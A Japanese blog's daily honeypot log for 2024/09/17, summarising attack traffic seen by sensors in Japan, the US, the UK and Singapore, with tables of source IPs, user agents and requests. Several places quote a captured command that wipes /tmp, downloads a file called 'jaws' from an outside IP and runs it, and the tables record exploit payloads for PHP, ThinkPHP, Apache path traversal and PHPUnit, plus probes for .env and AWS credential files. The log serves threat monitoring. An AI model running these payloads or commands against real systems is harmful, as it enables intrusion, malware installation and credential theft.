2024/09/17 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2024/09/17分です。

特徴

共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Nmap Scripting Engineによるスキャン行為
curlによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  109.176.207.235/jaws;
sh /tmp/jaws

Location:US

GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
PHPの脆弱性(CVE-2024-4577)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
configファイルへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  109.176.207.235/jaws;
sh /tmp/jaws

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  109.176.207.235/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：197 (前日比：64)
US：総アクセス数：67 (前日比：-103)
UK：総アクセス数：154 (前日比：6)
SG：総アクセス数：111 (前日比：-38)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.156.236.35	United States
1	4.178.136.179	United States
1	5.189.172.158	Germany
44	27.210.155.165	China
2	34.83.8.248	United States
2	45.156.128.42	Hungary
1	47.254.85.182	United States
1	51.8.223.76	Germany
1	68.183.146.102	United States
1	80.82.77.202	United Kingdom
44	92.55.190.215	Kazakhstan
1	93.174.93.12	United Kingdom
7	101.32.192.203	Singapore
1	111.229.66.89	China
6	118.193.36.63	Hong Kong
5	135.125.217.54	France
4	135.125.244.48	France
7	135.125.246.189	France
23	139.196.169.210	China
2	147.185.132.40	United States
2	154.213.187.244	Hong Kong
4	164.52.24.188	China
1	172.202.177.130	United Kingdom
1	172.202.243.114	United Kingdom
1	172.245.136.89	United States
10	174.138.54.107	United States
1	185.82.219.136	United States
3	185.224.128.187	Netherlands
7	185.254.196.173	Ukraine
1	197.42.162.98	Egypt
9	200.73.134.6	Argentina
2	205.210.31.27	United States

UserAgent一覧

件数	UserAgent
17	`-`
88	`Custom-AsyncHttpClient`
8	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
9	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0`
23	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
21	`Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)`
3	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`curl/8.1.2`
1	`xfa1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
4		`\x16\x03\x01\x02`
7		`\x16\x03\x01`
2		`\x16\x03\x02\x01o\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.env`	HTTP/1.0
25	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
2	GET	`/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/admin/assets/js/views/login.js`	HTTP/1.0
2	GET	`/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
2	GET	`/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	GET	`/cgi-bin/luci/;stok=/locale`	HTTP/1.1
2	GET	`/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/default.jsp`	HTTP/1.1
2	GET	`/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/form.html`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/index.action`	HTTP/1.1
1	GET	`/index.do`	HTTP/1.1
1	GET	`/index.jsp`	HTTP/1.1
2	GET	`/index.php?lang=../../../../../../../../tmp/index1`	HTTP/1.1
2	GET	`/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php`	HTTP/1.1
2	GET	`/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello`	HTTP/1.1
2	GET	`/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/lib/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/lib/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/lib/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/login.action`	HTTP/1.1
1	GET	`/login.do`	HTTP/1.1
1	GET	`/login.jsp`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/main.jsp`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
2	GET	`/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/password.php`	HTTP/1.1
2	GET	`/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello`	HTTP/1.1
2	GET	`/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/register.jsp`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/scada-vis`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 109.176.207.235/jaws;sh+/tmp/jaws`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/static/admin/javascript/hetong.js`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.1
1	GET	`/t4`	HTTP/1.1
2	GET	`/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
2	GET	`/vendor/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/LICENSE/eval-stdin.php`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/vendor/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
7	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
11	OPTIONS	`/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
2	POST	`/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh`	HTTP/1.1
2	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
3	PROPFIND	`/`	HTTP/1.1
1	WLUO	`/`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.8.11.202	Russia
1	5.189.172.158	Germany
2	34.66.207.44	United States
1	45.33.80.243	United States
1	45.79.181.179	United States
1	45.148.10.242	Romania
9	54.36.115.221	France
3	54.37.79.75	France
1	64.62.197.122	United States
1	80.82.77.202	United Kingdom
2	83.97.73.245	Germany
2	93.174.93.12	United Kingdom
2	94.156.68.104	Bulgaria
1	94.156.68.162	Bulgaria
1	104.40.75.145	United States
1	117.242.206.33	India
1	120.61.17.46	India
1	123.13.1.99	China
1	139.59.101.104	Singapore
2	141.255.160.234	Panama
2	152.42.174.244	United States
4	152.42.225.130	United States
4	152.42.236.2	United States
2	152.42.243.111	United States
2	152.42.243.206	United States
2	159.65.138.85	United States
1	159.65.162.77	United States
2	167.94.145.96	United States
1	172.104.11.46	United States
1	172.169.108.89	United States
1	185.82.219.136	United States
3	185.224.128.187	Netherlands
2	198.235.24.155	United States
2	198.235.24.248	United States
3	216.218.206.67	United States

UserAgent一覧

件数	UserAgent
28	`-`
3	`Go-http-client/1.1`
3	`Hello`
1	`Mozilla/5.0 (Linux; Android 9; moto g(7) power) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0 (Edition Yx GX)`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0`
1	`Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11`
12	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
9	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
8		`\x16\x03\x01\x01\v\x01`
1		`\x16\x03\x01\x01\xa8\x01`
9		`\x16\x03\x01`
4		`\x16\x03\x02\x01o\x01`
1	GET	`/.env`	HTTP/1.0
15	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
9	GET	`/cdn-cgi/trace`	HTTP/1.1
6	GET	`/cgi-bin/luci/;stok=/locale`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.8.11.202	Russia
2	34.75.182.172	United States
1	38.165.44.172	United States
1	45.79.181.251	United States
2	45.148.10.242	Romania
1	50.6.171.80	United States
1	51.68.113.28	France
1	52.183.224.43	United States
4	54.36.115.221	France
18	57.129.23.166	France
2	65.49.1.83	United States
1	65.49.1.91	United States
1	80.82.77.202	United Kingdom
2	83.97.73.245	Germany
1	91.92.243.155	Bulgaria
3	91.92.249.4	Bulgaria
1	91.238.181.21	Germany
1	91.238.181.31	Germany
1	91.238.181.71	Germany
1	93.174.93.12	United Kingdom
1	94.156.68.104	Bulgaria
1	94.156.68.162	Bulgaria
1	117.205.57.188	India
1	139.59.101.104	Singapore
3	141.255.160.234	Panama
1	142.93.188.56	United States
5	152.32.207.21	Hong Kong
2	152.42.214.140	United States
2	152.42.225.130	United States
4	154.213.184.20	Hong Kong
1	154.213.187.244	Hong Kong
2	165.154.6.224	Hong Kong
6	165.154.206.139	Hong Kong
1	172.168.40.186	United States
1	172.188.105.13	United Kingdom
1	172.206.143.253	United Kingdom
1	172.206.148.102	United Kingdom
22	179.43.133.242	Panama
1	185.82.219.136	United States
1	185.224.128.187	Netherlands
1	197.46.160.124	Egypt
44	198.105.124.189	United Kingdom
2	198.235.24.25	United States
2	205.210.31.212	United States
1	216.218.206.67	United States

UserAgent一覧

件数	UserAgent
25	`-`
44	`Custom-AsyncHttpClient`
29	`Go-http-client/1.1`
5	`Hello`
1	`Mozilla/5.0 (Linux; Android 11; M2007J3SY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15`
4	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
23	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3`
3	`Mozilla/5.0 zgrab/0.x`
3	`Mozilla/5.0`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`MGLNDD_132.145.66.34_80\n`
3		`\x03`
2		`\x16\x03\x01\x01\v\x01`
1		`\x16\x03\x01\x01\x17\x01`
8		`\x16\x03\x01`
3		`\x16\x03\x02\x01o\x01`
1		`\x17\x03\x01\x01\x04e`
2	CONNECT	`dev[.]flood[.]at:443`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env_example`	HTTP/1.1
1	GET	`/.env`	HTTP/1.0
31	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	GET	`/cdn-cgi/trace`	HTTP/1.1
6	GET	`/cgi-bin/luci/;stok=/locale`	HTTP/1.1
1	GET	`/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.php?lang=../../../../../../../../tmp/index1`	HTTP/1.1
1	GET	`/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php`	HTTP/1.1
1	GET	`/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/info`	HTTP/1.1
1	GET	`/infos.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/lib/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/lib/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/lib/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/linusadmin-phpinfo.php`	HTTP/1.1
1	GET	`/local-phpinfo.php`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello`	HTTP/1.1
1	GET	`/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 109.176.207.235/jaws;sh+/tmp/jaws`
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/LICENSE/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input`	HTTP/1.1
1	t3	`12.1.2\n`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	5.8.11.202	Russia
1	5.189.172.158	Germany
1	20.118.68.128	United States
1	23.94.160.142	United States
2	35.231.64.108	United States
1	45.95.169.177	Croatia
1	45.141.215.29	Netherlands
2	45.148.10.242	Romania
5	45.190.160.59	Brazil
1	48.217.212.213	United States
4	51.83.227.40	France
5	51.158.37.186	France
5	51.159.111.112	France
1	52.189.75.115	United States
12	54.36.115.221	France
3	54.37.79.75	France
1	64.62.197.68	United States
1	64.62.197.72	United States
1	64.62.197.76	United States
1	64.62.197.106	United States
1	68.183.146.102	United States
1	80.82.77.202	United Kingdom
2	83.97.73.245	Germany
4	89.248.167.131	United Kingdom
2	91.92.243.155	Bulgaria
1	93.174.93.12	United Kingdom
1	94.156.68.104	Bulgaria
1	94.156.68.162	Bulgaria
1	104.40.75.182	United States
1	117.240.158.77	India
2	141.255.160.234	Panama
6	148.153.56.82	United States
2	152.42.236.2	United States
1	154.213.187.244	Hong Kong
1	156.223.218.188	Egypt
2	159.65.138.85	United States
2	162.142.125.193	United States
2	167.94.145.110	United States
2	168.76.20.229	South Africa
10	170.64.161.101	United States
1	172.245.20.199	United States
1	179.60.149.8	Panama
1	185.82.219.136	United States
2	185.224.128.187	Netherlands
1	192.155.90.220	United States
2	198.235.24.72	United States
2	198.235.24.143	United States
2	199.45.155.73	United States
2	199.45.155.94	United States
1	216.250.253.33	United States

UserAgent一覧

件数	UserAgent
27	`-`
3	`Go-http-client/1.1`
4	`Hello`
1	`Mozilla/5.0 (Linux; Android 9; SM-G955U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05)`
